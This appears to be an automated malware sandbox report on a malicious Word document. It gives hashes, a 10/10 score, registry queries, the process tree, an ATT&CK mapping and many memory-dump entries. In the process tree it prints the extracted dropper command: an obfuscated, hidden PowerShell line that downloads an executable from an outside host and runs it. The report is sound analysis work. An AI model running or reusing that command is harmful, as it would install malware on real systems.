f1d1c93ba65f0593f2c5a26f8661ca3f42ae2331f5eb97911aac8f5dbf3d4011

General

Target

f1d1c93ba65f0593f2c5a26f8661ca3f42ae2331f5eb97911aac8f5dbf3d4011.doc
Size

58KB
MD5

616ef8b1c8e9258511905b37029d5a42
SHA1

fa62e7df0cc1ece81ba2228cc22be01214cab2ab
SHA256

f1d1c93ba65f0593f2c5a26f8661ca3f42ae2331f5eb97911aac8f5dbf3d4011
SHA512

79bf89fa545325810831541d76cb5b9ae7695cd7ae9eefb108bf396d1f79c5437987aa41fa342e60b1390036ae6ba4d280c7d6946dfd9c33791d7da8f8e6396d
SSDEEP

768:WPKiEo5D9iF7gWMsdMVkOf11cdqS1+ODtxz99oinZ:WdE8D9iF7gWMsdlO91cdqSpDt3

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://3237.site/test01.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2604	3892	cmd.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3892 WINWORD.EXE
3892 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4784 powershell.exe
4784 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4784 powershell.exe

pid	process
4784	powershell.exe
4784	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4784	powershell.exe

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

WINWORD.EXE

pid	process
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 3892 wrote to memory of 2604	3892	WINWORD.EXE	cmd.exe
PID 3892 wrote to memory of 2604	3892	WINWORD.EXE	cmd.exe
PID 2604 wrote to memory of 4784	2604	cmd.exe	powershell.exe
PID 2604 wrote to memory of 4784	2604	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f1d1c93ba65f0593f2c5a26f8661ca3f42ae2331f5eb97911aac8f5dbf3d4011.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3892

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\programtwo.cmd" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://3237.site/test01.e`xe -Destination C:\Users\Public\Documents\manlevel.e`xe;C:\Users\Public\Documents\manlevel.e`xe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4784

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z141vnuf.dnx.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Documents\programtwo.cmd
Filesize
185B

MD5
accc5f9fb1cd478b3649066e0868612d

SHA1
309c94e34869a7bc62ee53144f1a98290c53d76f

SHA256
93941817ada793281eaaa3dd6860d4d63a361ec15b13da7322ea4ed51e6eff6a

SHA512
0bf231c1b3d67473ea7faccdc20eee9e52ba29cd30882305fd43276a3f794e100e9c77eaf3d623df167c1c1713195085d78efce8234bcd0e4460cbd16eef2ed4

Download Submit
memory/3892-33-0x00000180BE490000-0x00000180BF460000-memory.dmp

Filesize
15.8MB

Download
memory/3892-7-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-3-0x00007FFC85210000-0x00007FFC85220000-memory.dmp

Filesize
64KB

Download
memory/3892-6-0x00007FFC85210000-0x00007FFC85220000-memory.dmp

Filesize
64KB

Download
memory/3892-5-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-4-0x00007FFC85210000-0x00007FFC85220000-memory.dmp

Filesize
64KB

Download
memory/3892-41-0x00000180BE490000-0x00000180BF460000-memory.dmp

Filesize
15.8MB

Download
memory/3892-1-0x00007FFC85210000-0x00007FFC85220000-memory.dmp

Filesize
64KB

Download
memory/3892-8-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-10-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-11-0x00007FFC83100000-0x00007FFC83110000-memory.dmp

Filesize
64KB

Download
memory/3892-12-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-13-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-9-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-14-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-15-0x00007FFC83100000-0x00007FFC83110000-memory.dmp

Filesize
64KB

Download
memory/3892-16-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-17-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-0-0x00007FFC85210000-0x00007FFC85220000-memory.dmp

Filesize
64KB

Download
memory/3892-21-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-20-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-22-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-23-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-25-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-18-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-2-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-104-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-46-0x00000180BE490000-0x00000180BF460000-memory.dmp

Filesize
15.8MB

Download
memory/3892-67-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-68-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-69-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-105-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmp

Filesize
2.0MB

Download
memory/3892-70-0x00000180BE490000-0x00000180BF460000-memory.dmp

Filesize
15.8MB

Download
memory/3892-71-0x00000180BE490000-0x00000180BF460000-memory.dmp

Filesize
15.8MB

Download
memory/3892-72-0x00000180BE490000-0x00000180BF460000-memory.dmp

Filesize
15.8MB

Download
memory/3892-45-0x00000180BE490000-0x00000180BF460000-memory.dmp

Filesize
15.8MB

Download
memory/3892-103-0x00007FFC85210000-0x00007FFC85220000-memory.dmp

Filesize
64KB

Download
memory/3892-102-0x00007FFC85210000-0x00007FFC85220000-memory.dmp

Filesize
64KB

Download
memory/3892-101-0x00007FFC85210000-0x00007FFC85220000-memory.dmp

Filesize
64KB

Download
memory/3892-100-0x00007FFC85210000-0x00007FFC85220000-memory.dmp

Filesize
64KB

Download
memory/4784-75-0x000002747F090000-0x000002747F0A0000-memory.dmp

Filesize
64KB

Download
memory/4784-76-0x000002747F500000-0x000002747F526000-memory.dmp

Filesize
152KB

Download
memory/4784-77-0x000002747F770000-0x000002747F784000-memory.dmp

Filesize
80KB

Download
memory/4784-78-0x000002747F090000-0x000002747F0A0000-memory.dmp

Filesize
64KB

Download
memory/4784-81-0x00007FFC9C930000-0x00007FFC9D3F1000-memory.dmp

Filesize
10.8MB

Download
memory/4784-74-0x000002747F090000-0x000002747F0A0000-memory.dmp

Filesize
64KB

Download
memory/4784-73-0x00007FFC9C930000-0x00007FFC9D3F1000-memory.dmp

Filesize
10.8MB

Download
memory/4784-60-0x000002747F090000-0x000002747F0A0000-memory.dmp

Filesize
64KB

Download
memory/4784-59-0x000002747F090000-0x000002747F0A0000-memory.dmp

Filesize
64KB

Download
memory/4784-58-0x00007FFC9C930000-0x00007FFC9D3F1000-memory.dmp

Filesize
10.8MB

Download
memory/4784-57-0x000002747F390000-0x000002747F3B2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads